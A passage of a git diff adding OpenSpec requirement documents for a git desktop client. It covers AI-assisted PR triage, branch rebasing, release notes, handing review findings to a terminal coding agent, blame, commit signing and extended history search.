+- **WHEN** a PR comes from a fork +- **THEN** the request names the head repository + +### Requirement: Deterministic state rules override the model +Each PR's state SHALL be cross-checked in code: draft → draft; conflicting mergeability → conflicts; failing checks on the user's own PR → waiting on author; an explicit review request for the signed-in user → waiting on you; no activity for 14 days → stale. Where these rules are decisive the code value SHALL replace the model's. A next action of merge SHALL be downgraded to none unless the PR is mergeable, checks pass and the review decision is approved. Summaries SHALL be capped at 140 characters and reasons at 200. + +#### Scenario: Draft mislabelled +- **WHEN** the model returns ready to merge for a draft PR +- **THEN** the row shows draft + +#### Scenario: Merge downgraded +- **WHEN** the model suggests merge for a PR whose checks are failing +- **THEN** the next action is none + +### Requirement: Waiting on you filter and badge agree +A **Waiting on you** toggle SHALL filter the list to PRs in that state and the dialog title SHALL show the count. The toolbar pull request button SHALL show the same count as a badge, updated when the PR poller refreshes. + +#### Scenario: Two PRs waiting +- **WHEN** two open PRs are classified waiting on you +- **THEN** the filter shows exactly those two and the toolbar badge reads 2 + +### Requirement: Cache freshness and eviction +Lines SHALL be cached per repository and PR number keyed by `updatedAt`. When a PR's `updatedAt` changes, its line SHALL be shown dimmed as stale and refreshed on the next Summarize, or automatically when the auto-refresh setting is on. Entries for closed or merged PRs, and entries older than 30 days, SHALL be evicted. Cached lines SHALL be shown offline with Summarize disabled and a tooltip explaining why. + +#### Scenario: PR updated +- **WHEN** the poller reports a new update time for a PR with a cached line +- **THEN** the line is dimmed and counted in the next Summarize + +#### Scenario: PR merged +- **WHEN** a PR with a cached line is merged +- **THEN** its cache entry is removed + +### Requirement: Next actions open existing flows only +Clicking a suggested next action (review, checkout, view checks, merge, rebase, ping author) SHALL open the corresponding existing dialog or action and SHALL NOT merge, review, comment or notify anyone by itself. + +#### Scenario: Merge action +- **WHEN** the user clicks the merge next action +- **THEN** the existing merge dialog opens and nothing is merged until the user confirms there diff --git a/openspec/specs/ai-rebase-assistant/spec.md b/openspec/specs/ai-rebase-assistant/spec.md new file mode 100644 index 0000000..024490d --- /dev/null +++ b/openspec/specs/ai-rebase-assistant/spec.md @@ -0,0 +1,95 @@ +# ai-rebase-assistant Specification + +## Purpose +Proposes and applies a user-approved cleanup of the commits on the current branch (squash, reword, reorder, drop) so a branch is tidy before it becomes a pull request. + +## Requirements + +### Requirement: Entry points and preconditions +The Branch menu SHALL offer **Tidy up branch with AI** and the History context menu SHALL offer it for a multi-selection of commits. The action SHALL be hidden when the AI provider is disabled, and SHALL be not actionable with a reason when the current branch is the default branch or when merge commits are in the selected range. A dirty working tree SHALL trigger the existing uncommitted-changes handling (stash or cancel) before planning. + +#### Scenario: Default branch +- **WHEN** the current branch is the repository's default branch +- **THEN** the action is not actionable and the reason names the default branch + +#### Scenario: Merge commits in range +- **WHEN** the range between base and HEAD contains a merge commit +- **THEN** no AI call is made and a callout explains that merges cannot be rewritten + +#### Scenario: Dirty working tree +- **WHEN** the user activates the action with uncommitted changes +- **THEN** the uncommitted-changes dialog offers to stash first, and planning starts only after the tree is clean + +### Requirement: Pre-flight +Before proposing, the system SHALL show the base branch (default branch or the current branch's upstream, editable), the number of commits in range, and whether any of them are already on the remote, with a warning that applying will require a force push. + +#### Scenario: Pushed commits in range +- **WHEN** three of six commits are on the remote +- **THEN** the pre-flight warns that three commits are on the remote and a force push will be needed + +#### Scenario: Base not found +- **WHEN** the entered base ref does not exist +- **THEN** the base field shows an error and Propose is not actionable + +### Requirement: Plan completeness and validity +Every commit in range MUST appear exactly once in the plan, oldest first. Commits the model omits SHALL be added as pick; unknown or duplicate entries SHALL be removed with a warning. A squash target MUST be an earlier row that is not dropped; otherwise the row becomes pick. Trailers present in an original message (for example Co-authored-by, Signed-off-by) MUST be present in the proposed message, re-appended if missing. A drop of a non-empty commit that is not part of a revert pair SHALL be downgraded to pick with a warning unless the user opts in. Summary lines SHALL be capped at 120 characters and bodies wrapped at 72. A plan that changes nothing SHALL be reported as "already tidy". + +#### Scenario: Omitted commit +- **WHEN** the model's plan lacks one commit from the range +- **THEN** that commit appears in the plan as pick in its original position + +#### Scenario: Invalid squash target +- **WHEN** a row squashes into a later row or into a dropped row +- **THEN** the row becomes pick and a warning is shown + +#### Scenario: Trailer preserved +- **WHEN** the original message ends with a Co-authored-by trailer and the model's reword omits it +- **THEN** the proposed message contains the trailer + +#### Scenario: Nothing to do +- **WHEN** every row is pick with unchanged order and messages +- **THEN** the dialog says the branch already looks tidy and offers no Apply + +### Requirement: Editable plan with preview +The plan dialog SHALL show one row per commit with the action (pick, squash-into, reword, drop), original message, proposed message, rationale and a pushed indicator. The user SHALL be able to change actions, edit messages, drag to reorder and reset a row to its original. **Preview result** SHALL show the resulting commit list as History would render it, and Apply SHALL produce exactly the previewed history. + +#### Scenario: Edit then apply +- **WHEN** the user changes a squash row to pick and edits another row's message, then applies +- **THEN** the resulting history keeps the un-squashed commit and uses the edited message + +#### Scenario: Preview matches result +- **WHEN** the user opens Preview result and then applies +- **THEN** History shows the same commits, order and messages as the preview + +### Requirement: Application, conflicts and undo +Apply SHALL rewrite history using the existing squash, reword, reorder and drop operations with step progress. A conflict during apply SHALL surface the standard conflicts banner with Continue and Abort; Abort MUST restore the branch to the recorded start commit. After completion, a toast SHALL offer **Undo** for ten minutes, which resets the branch to the start commit when the working tree is clean. When rewritten commits were on the remote, the toast SHALL remind the user that a force push with lease is needed and link to the existing force-push flow. Nothing is pushed by this capability. + +#### Scenario: Conflict during reorder +- **WHEN** a reorder step produces a conflict +- **THEN** the conflicts banner appears and choosing Abort leaves HEAD at the recorded start commit + +#### Scenario: Undo +- **WHEN** the user clicks Undo in the completion toast +- **THEN** HEAD is the recorded start commit and the working tree is clean + +#### Scenario: Pushed commits rewritten +- **WHEN** the applied plan rewrote commits that were on the remote +- **THEN** the toast says a force push with lease is required and links to the force-push dialog + +### Requirement: Safety warnings +When commit signing is enabled for the repository, the pre-flight SHALL warn that rewriting drops signatures. A commit-msg hook rejection during apply SHALL stop the sequence and show the hook output. + +#### Scenario: Signing enabled +- **WHEN** commit signing is configured for the repository +- **THEN** the pre-flight shows a signatures warning + +#### Scenario: Hook rejects a message +- **WHEN** a reword is rejected by a commit-msg hook +- **THEN** the apply stops at that step and the hook output is shown + +### Requirement: Progress and cancellation +Planning SHALL show progress and be cancellable; cancelling SHALL leave the repository untouched. Planning input SHALL be capped at 60 commits with per-commit patch excerpts of at most 8,000 bytes and 120,000 bytes in total, flagged as truncated when cut. + +#### Scenario: Cancel planning +- **WHEN** the user cancels while the plan is being proposed +- **THEN** no history is rewritten and the dialog closes diff --git a/openspec/specs/ai-release-notes/spec.md b/openspec/specs/ai-release-notes/spec.md new file mode 100644 index 0000000..0c93893 --- /dev/null +++ b/openspec/specs/ai-release-notes/spec.md @@ -0,0 +1,73 @@ +# ai-release-notes Specification + +## Purpose +Produces categorized, reference-checked release notes for a commit range and lets the user insert them into the changelog or publish a GitHub release from one dialog. + +## Requirements + +### Requirement: Release notes dialog and range selection +A **Release notes…** action SHALL be available from the Repository menu and from a tag's History context menu (as notes since the previous tag). The dialog SHALL offer From (default: latest tag reachable from HEAD, or the root commit with a note when no tag exists), To (default: HEAD), a version name (default: next patch of the From tag when it is semver, otherwise blank), an include-PR-titles option (on when the repository has a GitHub remote and the user is signed in), and an audience of users or developers. Generation SHALL be hidden when the AI provider is `disabled`, while a plain commit-list export SHALL remain available. + +#### Scenario: Defaults with a semver tag +- **WHEN** the latest reachable tag is `v1.2.3` +- **THEN** From is `v1.2.3`, To is HEAD and the version field suggests `1.2.4` + +#### Scenario: No tags +- **WHEN** the repository has no tags +- **THEN** From defaults to the root commit and the dialog says so + +#### Scenario: Provider disabled +- **WHEN** the AI provider is `disabled` +- **THEN** Generate is hidden and Export commit list is still offered + +### Requirement: Range preview lists commits and pull requests +The dialog SHALL list the non-merge commits in `from..to` with short SHA and subject, and the pull request numbers found from merge commit subjects and squash-merge subjects, counting each PR once. Ranges over 500 commits SHALL be reduced to subjects only, flagged as truncated, with a suggestion to narrow the range. An empty range SHALL disable Generate. + +#### Scenario: Squash and merge PRs +- **WHEN** the range contains a merge commit for PR 12 and a squash commit whose subject ends in `(#13)` +- **THEN** the preview lists PRs 12 and 13 once each + +#### Scenario: Large range +- **WHEN** the range contains more than 500 commits +- **THEN** only subjects are gathered, the result is marked truncated and the dialog suggests narrowing the range + +### Requirement: Generated notes are categorized and reference-checked +Generation SHALL request sections limited to Breaking changes, Features, Fixes, Performance, Docs and Internal, each item citing at least one PR number or commit from the range. GitGood SHALL remove references not in the range, move items left without references to an **unreferenced** review list instead of showing them, merge duplicate sections, render sections in the fixed order, cap items at 200 characters, and list every commit or PR in range that no item cites so omissions are visible. The Markdown SHALL be assembled by GitGood from the validated sections with a version heading and date; the model SHALL NOT emit the document structure. Generation SHALL be cancellable and keep the preview list. + +#### Scenario: Invalid reference removed +- **WHEN** an item cites `#999`, which is not in the range, and also cites `abc1234`, which is +- **THEN** the rendered bullet cites only `abc1234` + +#### Scenario: Item without valid references +- **WHEN** an item's only reference is not in the range +- **THEN** the item is shown in the unreferenced review list, not in the notes + +#### Scenario: Omitted commit surfaced +- **WHEN** a commit in the range is cited by no item +- **THEN** it appears in the unreferenced list with an Add action that appends a plain bullet for it + +### Requirement: Editing, copying and inserting into the changelog +The result SHALL be editable as Markdown with a rendered preview toggle and a **Copy Markdown** action. **Insert into CHANGELOG.md** SHALL prepend the notes under the file's top heading, or create the file when absent, preserving the file's line endings, and SHALL then show the file in the Changes tab for the user to commit. Nothing SHALL be written without this explicit action. + +#### Scenario: Existing changelog +- **WHEN** `CHANGELOG.md` exists with a top-level heading and CRLF line endings +- **THEN** the notes are inserted directly below that heading and the file keeps CRLF endings + +#### Scenario: No changelog +- **WHEN** `CHANGELOG.md` does not exist +- **THEN** it is created with a top heading and the notes, and appears as a new file in Changes + +### Requirement: GitHub release creation is explicit and defaults to draft +**Create GitHub release…** SHALL open a confirmation with the tag (existing or to be created at To), title, body from the editor, Draft (default on) and Pre-release options. When a release already exists for the tag, the dialog SHALL offer to open it instead of creating one. When the tag does not exist, the confirmation SHALL say the tag will be created at the To commit. The action SHALL be unavailable with a reason when GitHub CLI is not signed in. Success SHALL show a toast linking to the release. + +#### Scenario: Draft release +- **WHEN** the user confirms with defaults +- **THEN** a draft release is created for the tag and the toast links to its URL + +#### Scenario: Existing release +- **WHEN** a release already exists for the chosen tag +- **THEN** the dialog offers Open existing and does not create a duplicate + +#### Scenario: Not signed in +- **WHEN** GitHub CLI is not authenticated +- **THEN** the release action is disabled and explains that sign-in is required diff --git a/openspec/specs/ai-review-agent-handoff/spec.md b/openspec/specs/ai-review-agent-handoff/spec.md new file mode 100644 index 0000000..ccbf91e --- /dev/null +++ b/openspec/specs/ai-review-agent-handoff/spec.md @@ -0,0 +1,139 @@ +# ai-review-agent-handoff Specification + +## Purpose +Hands completed AI review findings to a terminal coding agent (Claude Code, Codex, omp or a custom command) through files in the repository's git directory, lets the agent ask GitGood for a re-review through a deep link, and packages the workflow as an installable agent plugin. + +## Requirements + +### Requirement: Review runs are exported to the repository +When a review run finishes (complete, cancelled or failed) or a finding's dismissal changes, GitGood SHALL write the run to `/gitgood/review/` where `` is the repository's git directory as reported by git, so linked worktrees get their own export. The export SHALL consist of `runs/.json`, `runs/.md`, and copies at `latest.json` and `latest.md` reflecting the most recently finished run for the repository regardless of target; re-exporting an older run (for example when one of its findings is dismissed) SHALL refresh that run's own files without replacing the newer `latest.*`. `previousRunId` SHALL name the newest earlier exported run of the same target, and MUST NOT name a run that finished later. Each file SHALL be written to a temporary name and renamed into place. Runs beyond the review store's per-repository cap SHALL be pruned oldest first. Export failures SHALL be logged and MUST NOT fail the review. + +#### Scenario: Pre-commit review completes +- **WHEN** a pre-commit review finishes with two findings +- **THEN** `latest.json` exists under the repository's git directory with both findings and `runs/.json` holds the same content + +#### Scenario: Linked worktree +- **WHEN** the reviewed repository is a linked git worktree whose `.git` is a file +- **THEN** the export lands under that worktree's own git directory, not the main repository's + +#### Scenario: Export directory not writable +- **WHEN** the git directory cannot be written +- **THEN** the review still completes and shows its findings, and a warning is logged + +#### Scenario: Dismissal updates the export +- **WHEN** the user dismisses a finding of the exported run +- **THEN** the run's JSON and Markdown are rewritten with that finding marked dismissed + +#### Scenario: Dismissal on a superseded run +- **WHEN** a newer run of another target has been exported and the user then dismisses a finding on the older run +- **THEN** the older run's own files are rewritten and `latest.*` still describe the newer run + +### Requirement: Export content +`latest.json` and each `runs/.json` SHALL contain a `version` number, the run id, the previous run id for the same target or null, the repository path, the target (pull request number and SHAs, branch names and SHAs, or the pre-commit paths), the provider and model, start and finish times, the verdict and summary, the per-file review status, the count of findings dropped by validation, and every finding with its id, path, line range, severity, category, title, detail, suggestion, confidence and dismissed flag. Paths SHALL use forward slashes. The Markdown twin SHALL open with an instruction block for an agent, then list non-dismissed findings grouped by file and ordered blocker, warning, nit, each with its id, line range, title, detail and suggestion in a fenced block. The instruction block SHALL name the exact re-review command for the current platform for a pre-commit run, and for a pull request or branch run SHALL instead tell the agent not to request a re-review and to report its changes for the user to commit; the JSON's `rerun` field SHALL be null for those targets. Dismissed findings SHALL appear in the JSON with `dismissed: true` and SHALL be omitted from the Markdown. + +#### Scenario: Ordering +- **WHEN** a run has a nit at line 3 and a blocker at line 40 in the same file +- **THEN** the Markdown lists the blocker before the nit + +#### Scenario: Suggestion with CRLF content +- **WHEN** a finding's suggestion contains CRLF line endings +- **THEN** the Markdown fenced block preserves the suggestion text and the JSON keeps it byte for byte + +#### Scenario: Windows repository path +- **WHEN** the repository is at `C:\work\app` on Windows +- **THEN** the JSON `repoPath` is the native path and every finding path uses forward slashes + +#### Scenario: Instruction block +- **WHEN** an agent reads `latest.md` for a pre-commit run +- **THEN** the first section tells it to fix findings in severity order file by file, to trust title and detail over line numbers once a file changed, not to commit, and how to request a re-review + +#### Scenario: Pull request run cannot be verified by a re-review +- **WHEN** an agent reads the export of a pull request or branch run +- **THEN** `rerun` is null and the instruction block tells it not to request a re-review because that review reads committed history, and to report its changes for the user to commit + +### Requirement: Re-review deep link +GitGood SHALL accept `gitgood://review/rerun?repo=`. When the path matches a repository in the repository list (case-insensitively on Windows and macOS), GitGood SHALL bring its window to the front and open that repository. When the most recent finished run was a pre-commit run it SHALL re-run the pre-commit review over the currently included files. When it was a pull request or branch run GitGood MUST NOT start a review, because that review reads committed history and would repeat its findings; it SHALL show a toast saying the fixes must be committed first, offering to review the pending changes instead. A run already in progress SHALL be left alone and a toast SHALL say so. When no repository matches, no run exists, or the AI provider is disabled, GitGood SHALL show a toast explaining why nothing ran and MUST NOT start a review. + +#### Scenario: Rerun after agent edits +- **WHEN** an agent has edited two reviewed files and opens the rerun link for the repository +- **THEN** GitGood focuses, re-runs the latest review, and the new export replaces `latest.json` with a new run id whose `previousRunId` is the old run id + +#### Scenario: Unknown repository +- **WHEN** the link names a path that is not in the repository list +- **THEN** a toast reads that the repository is not open in GitGood and nothing runs + +#### Scenario: Run in progress +- **WHEN** a review is already running for that repository +- **THEN** the link is ignored with a toast and the running review continues + +#### Scenario: Latest run is a pull request review +- **WHEN** the most recent finished run for the repository is a pull request or branch review +- **THEN** no review is started and a toast explains that the fixes must be committed first, with an action that reviews the pending changes + +#### Scenario: Malformed link +- **WHEN** the URL has no `repo` parameter or a different path segment +- **THEN** the URL is ignored without an error dialog + +### Requirement: Fix with agent action +The pull request review panel and the pre-commit findings strip SHALL offer a **Fix with agent** action when the run has at least one non-dismissed finding and the AI provider is enabled; the action SHALL be hidden when the provider is disabled and SHALL be disabled while a review is running. Activating it SHALL rewrite the export, then open the repository in the user's configured terminal running the configured agent command with `{file}` replaced by the path of the run's exported Markdown, escaped for the shell that terminal parses the command with. When the export cannot be written, or the configured command is not usable, the action SHALL report that and MUST NOT open a terminal. The first activation SHALL show a one-time notice that the findings, including diff excerpts, are handed to the chosen agent. + +#### Scenario: Launch Claude Code +- **WHEN** the agent preset is Claude Code and the user activates Fix with agent on a pre-commit run +- **THEN** a terminal opens in the repository root running `claude` with a prompt that names `latest.md` + +#### Scenario: Provider disabled +- **WHEN** the AI provider is disabled +- **THEN** no Fix with agent action is rendered + +#### Scenario: Zero live findings +- **WHEN** every finding is dismissed +- **THEN** the action is not shown + +#### Scenario: Terminal cannot run a command +- **WHEN** the configured terminal has no way to run a command in a new window +- **THEN** GitGood opens the terminal in the repository, copies the agent command to the clipboard, and shows a toast saying to paste it + +#### Scenario: No terminal found +- **WHEN** no terminal application is found +- **THEN** the existing "Configure one in Options → Integrations" error is shown and nothing launches + +#### Scenario: Custom command not yet filled in +- **WHEN** the agent is set to Custom and its template is empty or has no `{file}` +- **THEN** activating the action reports that the agent command must be set and opens no terminal + +#### Scenario: Export cannot be written +- **WHEN** the git directory is not writable +- **THEN** the action reports the failure and opens no terminal, even if an export from an earlier run is still on disk + +### Requirement: Agent command setting +Options → AI SHALL offer an **Agent for fixes** choice with presets Claude Code, Codex and omp and a Custom entry holding a command template. The template MUST contain `{file}`; saving a custom template without it SHALL be refused with an inline message. The setting SHALL default to Claude Code and SHALL be included in portable settings exports as a preference. + +#### Scenario: Custom template validation +- **WHEN** the user enters a custom template without `{file}` +- **THEN** the field shows "The command must contain {file}" and the previous value stays in effect + +#### Scenario: Preset expansion +- **WHEN** the preset is Codex +- **THEN** the launched command is `codex` with a prompt that names `latest.md` + +### Requirement: Agent plugin folder +The repository SHALL contain a `plugin/` folder installable by Claude Code, Codex and omp from the same files: a Claude Code manifest, a Codex manifest, an omp package file, one `gitgood-review` skill, a slash command, a JSON hooks file with a session-start hook for Claude Code and Codex, and a session-start hook module for omp. The repository root SHALL carry a marketplace manifest listing the plugin. The skill SHALL instruct the agent to read `latest.json`, fix findings in severity order file by file, trust title and detail over line numbers once a file changed, never commit, trigger the re-review link, and re-read the export afterwards instead of reusing finding ids. The session-start hooks SHALL print one line naming the count of non-dismissed findings when an export with findings exists in the current repository and SHALL stay silent otherwise. Hook scripts MUST work with only git and a POSIX shell or Node available and MUST exit successfully when the export is absent. + +#### Scenario: Hook with findings +- **WHEN** an agent session starts in a repository whose `latest.json` has three non-dismissed findings +- **THEN** the hook prints one line stating three findings and naming the slash command + +#### Scenario: Hook without export +- **WHEN** the repository has no export +- **THEN** the hook prints nothing and exits successfully + +#### Scenario: Skill metadata +- **WHEN** any of the three tools loads the skill +- **THEN** its SKILL.md frontmatter has `name` and `description` and the description names review findings from GitGood as the trigger + +### Requirement: Data handling +The export MUST contain only data already present in the review run; it MUST NOT include API keys, tokens or the raw diff beyond finding suggestions. Launching the agent MUST NOT pass secrets or environment variables beyond the user's normal terminal environment. + +#### Scenario: Export contents +- **WHEN** an export is inspected +- **THEN** it contains no provider credentials and no field that was not in the persisted run diff --git a/openspec/specs/blame/spec.md b/openspec/specs/blame/spec.md new file mode 100644 index 0000000..b67829d --- /dev/null +++ b/openspec/specs/blame/spec.md @@ -0,0 +1,55 @@ +# blame Specification + +## Purpose +Shows, for every line of a text file, which commit and author last changed it, and lets the user navigate from a line to its commit or re-blame the file before that commit. + +## Requirements + +### Requirement: Blame gutter for text files +The user SHALL be able to toggle a blame layer for any text file shown in the diff pane, from the Changes tab (working-tree content), the History tab (content at the selected commit), the diff pane header menu or a keyboard shortcut. The layer SHALL show one gutter block per run of consecutive lines from the same commit with the abbreviated SHA, author and relative date, coloured by commit age within the file. Lines not yet committed SHALL be labelled "Not committed yet". Blame SHALL be unavailable for binary, image, submodule and too-large files, and the menu item SHALL be disabled with a tooltip saying why. + +#### Scenario: Blame the working tree file +- **WHEN** the user toggles Blame on a file in the Changes tab +- **THEN** every line shows a gutter block for its last commit, and uncommitted lines are labelled "Not committed yet" + +#### Scenario: Blame at a commit +- **WHEN** the user toggles Blame on a file selected in History +- **THEN** the file content at that commit is blamed and no block references a later commit + +#### Scenario: Binary file +- **WHEN** the selected file is binary or too large +- **THEN** the Blame item is disabled and its tooltip explains that blame is only available for text files + +#### Scenario: Whitespace-only changes +- **WHEN** the ignore-whitespace blame setting is on +- **THEN** commits that only changed whitespace are skipped when attributing lines + +### Requirement: Blame hover card and navigation +Hovering or focusing a gutter block SHALL show a card with the commit summary, author, full date and actions "Open commit", "Copy SHA" and "Blame at parent". "Open commit" SHALL select that commit in History. "Blame at parent" SHALL re-blame the file as it was before that commit, using the file's path at that time. Actions that require a commit SHALL be disabled for uncommitted lines. The card MUST be reachable by keyboard. + +#### Scenario: Open commit +- **WHEN** the user clicks "Open commit" on a block +- **THEN** the History tab shows that commit selected with its files listed + +#### Scenario: Blame at parent across a rename +- **WHEN** the user chooses "Blame at parent" on a block whose commit renamed the file +- **THEN** the blame is recomputed at the parent commit using the file's former path + +#### Scenario: Uncommitted block +- **WHEN** the card is opened for a "Not committed yet" block +- **THEN** "Open commit" and "Blame at parent" are disabled + +#### Scenario: Keyboard access +- **WHEN** a gutter block has focus and the user presses Enter +- **THEN** the hover card opens + +### Requirement: Blame limits and shallow clones +Blame SHALL be limited to files of at most 20,000 lines, showing the too-large placeholder above that. In a shallow clone, the layer SHALL show "History truncated (shallow clone)" when attribution reaches the shallow boundary. + +#### Scenario: Very large file +- **WHEN** the file has more than 20,000 lines +- **THEN** the too-large placeholder is shown and no blame is computed + +#### Scenario: Shallow clone +- **WHEN** the repository is a shallow clone +- **THEN** the blame layer shows the truncation notice diff --git a/openspec/specs/commit-signing/spec.md b/openspec/specs/commit-signing/spec.md new file mode 100644 index 0000000..ce33707 --- /dev/null +++ b/openspec/specs/commit-signing/spec.md @@ -0,0 +1,76 @@ +# commit-signing Specification + +## Purpose +Lets users configure and test GPG or SSH commit signing, see whether commits in history carry valid signatures, and recover cleanly when a commit cannot be signed. + +## Requirements + +### Requirement: Configure signing at repository or global scope +The system SHALL provide a Commit signing section in Options → Git with a format choice (Off, GPG, SSH), a key, a sign-all-commits toggle, a sign-tags toggle and a scope selector (this repository or global). Saving MUST write the corresponding git configuration at the chosen scope, and turning signing off MUST only disable signing without changing other values. + +#### Scenario: Enable SSH signing for one repository +- **WHEN** the user selects SSH, picks a public key file, enables sign all commits and saves with scope *This repository* +- **THEN** the repository's git configuration has the SSH format, the key path as signing key and commit signing enabled, and the global configuration is unchanged + +#### Scenario: Turn signing off +- **WHEN** the user selects Off and saves +- **THEN** commit signing is disabled at the chosen scope and the previously configured key and format remain stored + +### Requirement: Detect and pick keys +The system SHALL list available GPG secret keys matching the configured email and available SSH public keys, and MUST store the signing key in the form git expects: a key ID for GPG, a file path for an SSH key file, or the literal-key form for a pasted SSH public key. The system MUST NOT save a key that could not be found. + +#### Scenario: Detect GPG keys +- **WHEN** the user clicks *Detect keys* with GPG selected +- **THEN** the picker lists each secret key with its ID, identity and expiry, highlighting keys whose email matches the commit email + +#### Scenario: Pasted SSH key +- **WHEN** the user pastes an SSH public key string instead of choosing a file +- **THEN** the stored signing key uses the literal-key form recognised by git + +#### Scenario: Unknown key rejected +- **WHEN** the user enters a GPG key ID that does not exist in the keyring and saves +- **THEN** the system refuses to save and explains that the key was not found + +### Requirement: Test signing +The system SHALL offer a Test signing action that produces a signature with the configured setup and reports one of: success, passphrase required, or a distinct error such as signing program not found or SSH version too old. + +#### Scenario: Missing program +- **WHEN** GPG is selected and no GPG program can be found +- **THEN** the test reports that the signing program is missing with an install hint, and key detection is disabled with the same hint + +#### Scenario: Passphrase required +- **WHEN** the GPG key needs a passphrase and no agent has it cached +- **THEN** the test reports that a passphrase is required and explains that a graphical pinentry or running agent is needed because the app cannot show terminal prompts + +### Requirement: Signing failure during commit +The system SHALL, when git fails to sign a commit or an amend, show a dialog stating the classified cause with the raw error available, offering Retry, Commit unsigned this time, and Open signing settings. Commit unsigned MUST complete the same commit without a signature and without changing configuration. + +#### Scenario: Commit unsigned this time +- **WHEN** a commit fails because the signing key is missing and the user chooses *Commit unsigned this time* +- **THEN** the commit is created without a signature, the signing configuration is unchanged and the next commit attempts signing again + +#### Scenario: Failure during history rewrite +- **WHEN** signing fails while rewriting commits during a squash or reword +- **THEN** the rewrite stays in progress, the existing in-progress banner is shown and the dialog offers the same recovery choices + +### Requirement: Signature badges in history +The system SHALL, when signature verification is enabled in settings, show a badge on each commit in History indicating good, bad, unknown key, expired, revoked or untrusted signature, with the signer identity shown on hover and in the details pane. When verification is disabled the system MUST NOT verify signatures and history loading performance MUST be unchanged. + +#### Scenario: Good signature +- **WHEN** verification is enabled and a commit has a valid signature from a known key +- **THEN** the commit shows a good-signature badge and hovering shows the signer's name + +#### Scenario: Unknown SSH signer +- **WHEN** verification is enabled, a commit is SSH-signed and no allowed-signers file is configured +- **THEN** the commit shows an unknown-key badge whose tooltip explains that an allowed-signers file is needed for local verification + +#### Scenario: Verification off +- **WHEN** verification is disabled +- **THEN** no badges are shown and history loads without requesting signature information + +### Requirement: Commit form indicates signing +The system SHALL show a small indicator in the commit form when the effective configuration signs commits. + +#### Scenario: Indicator shown +- **WHEN** sign-all-commits is enabled at any scope that applies to the repository +- **THEN** the commit form shows the signing indicator diff --git a/openspec/specs/history/spec.md b/openspec/specs/history/spec.md index 911cb16..b552af9 100644 --- a/openspec/specs/history/spec.md +++ b/openspec/specs/history/spec.md @@ -7,14 +7,14 @@ The History tab lets a user browse, search and act on the commits of the current ## Requirements ### Requirement: Commit list is paged and searchable -The History tab SHALL show the commits reachable from the current branch, newest first, loading further pages on demand. A search box SHALL filter the list by commit message, author name or email, or a full or abbreviated SHA of at least 7 hexadecimal characters, matching case-insensitively. +The History tab SHALL show the commits reachable from the current branch, newest first, loading further pages on demand. A search box SHALL filter the list by commit message, author name or email, or a full or abbreviated SHA of at least 7 hexadecimal characters, matching case-insensitively. The search box SHALL also accept prefixed filters that MAY be combined with free text: `content:` (commits whose diff added or removed the text), `regex:` (commits whose diff matches the regular expression), `path:`, `author:`, `after:`, `before:` and `all:` (search every branch, tag and remote). Values containing spaces SHALL be quoted, with escaped quotes supported. A filter popover SHALL offer the same filters as form controls and SHALL stay in sync with the text in both directions. While any filter is active the header SHALL show the number of matching commits and a Clear control, and when `all:` is on each row SHALL show the refs that contain it. Changing the query SHALL cancel the search in progress. An invalid regular expression SHALL be reported inline without running the search or leaving the list loading. When a file history is active, the header SHALL show the file path with a control to clear it, the commit list SHALL contain only commits that touched that file, following renames, and the search box SHALL combine with the path filter. #### Scenario: Paging - **WHEN** the user scrolls to the end of the loaded commits and more commits exist - **THEN** the next page is appended without losing the current selection #### Scenario: Search by message or author -- **WHEN** the user types text that is not a SHA into the search box +- **WHEN** the user types text that is not a SHA and has no prefix into the search box - **THEN** the list shows only commits whose message or author matches the text, and the empty state reads "No commits match your search." when nothing matches #### Scenario: Search by SHA @@ -22,11 +22,51 @@ The History tab SHALL show the commits reachable from the current branch, newest - **THEN** the commit with that SHA is shown first if it exists, followed by commits matching the text by message or author #### Scenario: Path filter -- **WHEN** a path filter is active -- **THEN** only commits touching that path are listed +- **WHEN** a `path:` filter is active +- **THEN** only commits touching that pathspec are listed + +#### Scenario: File history filter +- **WHEN** a file history is active for a path +- **THEN** only commits touching that path, including under its earlier names, are listed and the header shows the path with a clear control + +#### Scenario: Clear file history +- **WHEN** the user clears the path chip +- **THEN** the full branch history returns and the search text is preserved + +#### Scenario: Content search +- **WHEN** the user types `content:needle` in a repository where one commit added `needle`, one changed a line containing it and one removed it +- **THEN** the list contains the adding and removing commits only + +#### Scenario: Regex search +- **WHEN** the user types `regex:^import` +- **THEN** the list contains exactly the commits whose diff has a line matching the expression, including commits that only changed such a line + +#### Scenario: Combined filters +- **WHEN** the user types `author:erwin after:2026-01-01 path:src/** fix` +- **THEN** only commits by a matching author, after that date, touching the path and matching "fix" by message are listed + +#### Scenario: All refs +- **WHEN** the query contains `all:` +- **THEN** commits from every branch, tag and remote are searched and each row shows the refs containing it + +#### Scenario: Popover round trip +- **WHEN** the user fills the filter popover and applies it +- **THEN** the search box shows the equivalent text syntax, and editing that text updates the popover fields + +#### Scenario: Query change cancels search +- **WHEN** the user changes the query while a search is running +- **THEN** the running git process is cancelled and only the new query's results are shown + +#### Scenario: Invalid regex +- **WHEN** the user types `regex:(` with unbalanced parentheses +- **THEN** an inline error appears under the search box and the commit list is not put into a loading state + +#### Scenario: Slow search +- **WHEN** a search has run for more than 5 seconds +- **THEN** a hint suggests narrowing with a `path:` filter and the search remains cancellable ### Requirement: Commit details with per-file stats -Selecting a commit SHALL show its metadata (summary, description, author, date, SHA) and the list of changed files with additions and deletions, and selecting a file SHALL show that file's diff for the commit. +Selecting a commit SHALL show its metadata (summary, description, author, date, SHA) and the list of changed files with additions and deletions, and selecting a file SHALL show that file's diff for the commit. When a content or regex search is active, the file list SHALL contain only files whose diff matches the search, and the diff pane SHALL scroll to and highlight the first matching line. When a file history is active, the tracked file's diff SHALL be shown first for the selected commit. #### Scenario: Select a commit - **WHEN** the user selects one commit @@ -36,6 +76,14 @@ Selecting a commit SHALL show its metadata (summary, description, author, date, - **WHEN** a changed file is binary - **THEN** its change counts are omitted and the diff pane shows the binary summary +#### Scenario: Select a commit in file history +- **WHEN** a file history is active and the user selects a commit +- **THEN** the diff shown first is that file's diff in the commit, under the name it had at that commit + +#### Scenario: Select a result of a content search +- **WHEN** a `content:` search is active and the user selects a matching commit +- **THEN** only files whose diff contains the text are listed and the first matching line is highlighted in the diff + ### Requirement: Commit actions From a commit the user SHALL be able to revert it, cherry-pick it to another branch, create a branch or tag from it, check it out (with confirmation), edit its message, drop it, and, for the newest commit, undo it or amend it. Actions that rewrite history SHALL run as an automated interactive rebase and SHALL report conflicts through the standard conflict flow. @@ -69,3 +117,29 @@ The user SHALL be able to select several commits and squash them into one, cherr #### Scenario: Reorder blocked during search - **WHEN** a search filter is active - **THEN** commit rows are not draggable + +### Requirement: File history entry points and file-at-commit actions +The user 